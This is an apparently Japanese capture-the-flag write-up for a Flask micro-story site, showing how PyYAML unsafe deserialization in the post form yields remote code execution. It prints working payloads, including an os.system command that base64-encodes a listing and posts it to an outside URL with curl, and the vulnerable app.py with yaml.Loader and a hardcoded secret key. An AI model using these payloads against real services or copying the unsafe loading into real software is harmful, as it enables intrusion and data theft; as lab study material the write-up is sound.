Yet Another Micro-story Library
The best website to share your stories. It is super easy to publish them!
調査
ユーザー登録・ログインをして色々いじってみる。
New Postの入力方法が特殊な感じがするので、ここから攻めてみる。
まずは、New Postで不正っぽい感じにしてみる。
Bad Request Error parsing yaml: while scanning a simple key in "<unicode string>", line 3, column 1: plot | ^ could not find expected ':' in "<unicode string>", line 7, column 1: keywords: ^
ああ、YAMLか。言われてみれば。
エラーでググるが、pythonやらrailsやらnodejsやら何でも出てくる。
YAMLといえば、YAML Unsafe Deserializationなので、色々試してみるがとりあえずPythonならやったことがあるのでやる。
手元にあった!!python/object/apply:time.sleep [10]
を試すと10秒遅れてきている。あってそう。
YAML Deserialization Attack
とりあえず以下でRCEしてみる。
!!python/object/new:os.system [ls | base64 | curl [Your URL] -X POST -d @-]
成功した。あとは色々見るだけ。
ls
DB app.ini app.py flag.txt models.py requirements.txt templates
cat flag.txt
-> flag{once_upon_a_time_yaml_pwned}
後学のため…
requirements.txtを確認しておく。
click==7.1.2 Flask==1.1.2 Flask-SQLAlchemy==2.4.3 itsdangerous==1.1.0 Jinja2==2.11.2 MarkupSafe==1.1.1 PyJWT==1.7.1 PyYAML==5.3.1 SQLAlchemy==1.3.18 Werkzeug==1.0.1
PyYAMLでしたね。
app.pyも見てみるか
from flask import Flask, render_template, request, redirect, abort, make_response, session from models import db, User, Post from sqlalchemy import desc import yaml import datetime app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///DB/db.sqlite' app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False app.config["SECRET_KEY"] = "-KE9@drWVsy@WxMEBy@WxMEfSp^h" app.config['SESSION_COOKIE_NAME'] = 'storyTimeSession' @app.before_first_request def create_tables(): db.create_all() db.init_app(app) def current_user(): if "id" in session: uid = session["id"] user = User.query.get(uid) return user return None @app.route('/') def home(): user = current_user() if not user: return redirect('signin?error=Please sign in') search = request.args.get('search', None) success = request.args.get('success', None) error = request.args.get('error', None) posts = [] if search and not search == '': title = "%{}%".format(search) posts = Post.query.filter(Post.title.like(title)).order_by(desc(Post.date)).limit(5).all() else: posts = Post.query.order_by(desc(Post.date)).limit(5).all() resp = make_response(render_template('index.html', posts=posts, user=user, success=success, error=error)) return resp @app.route('/post', methods=['POST']) def create_post(): user = current_user() if not user: return redirect('signin?error=Please sign in') story_yaml = request.form.get('story', None) if not story_yaml: abort(400, "No story provided") print(story_yaml) story = None try: story = yaml.load(story_yaml, Loader=yaml.Loader) except Exception as e: abort(400, "Error parsing yaml: " + str(e)) if story: try: post = Post(title=story['title'], synopsis=story['synopsis'], plot=story['plot'], keywords=';'.join(story['keywords']), author=user.username, date=datetime.datetime.now().strftime("%m/%d/%Y, %H:%M:%S")) db.session.add(post) db.session.commit() except Exception as e: abort(500, str(e)) resp = make_response(redirect('/')) return resp @app.route('/post/<title>') def post(title): user = current_user() if not user: return redirect('signin?error=Please sign in') success = request.args.get('success', None) error = request.args.get('error', None) post = Post.query.filter(Post.title==title).first() if not post: abort(404, "Post not found") resp = make_response(render_template('post.html', post=post, user=user, success=success, error=error)) return resp @app.route("/signup", methods=("GET", "POST")) def signup(): if request.method == "POST": username = request.form.get("username", None) password = request.form.get("password", None) password2 = request.form.get("password2", None) # Check if user exists user = User.query.filter(User.username == username).first() if user: return redirect('signup?error=Username already in use') # Check if passwords match if password != password2: return redirect('signup?error=Passwords do not match') user = User(username=username, password=password) db.session.add(user) db.session.commit() return redirect('signin?success=User created') elif request.method == "GET": success = request.args.get('success', None) error = request.args.get('error', None) return render_template("signup.html", success=success, error=error) @app.route('/signin', methods=('GET', 'POST')) def signin(): if request.method == 'POST': username = request.form.get('username') password = request.form.get('password') # Check if user exists user = User.query.filter(User.username==username, User.password==password).first() if not user: return redirect('signin?error=Invalid credentials') session["id"] = user.id return redirect('/') elif request.method == 'GET': success = request.args.get('success', None) error = request.args.get('error', None) return render_template('signin.html', success=success, error=error) @app.route('/logout') def logout(): session.pop("id", None) return redirect('/')
story = yaml.load(story_yaml, Loader=yaml.Loader)
いつものといった感じ。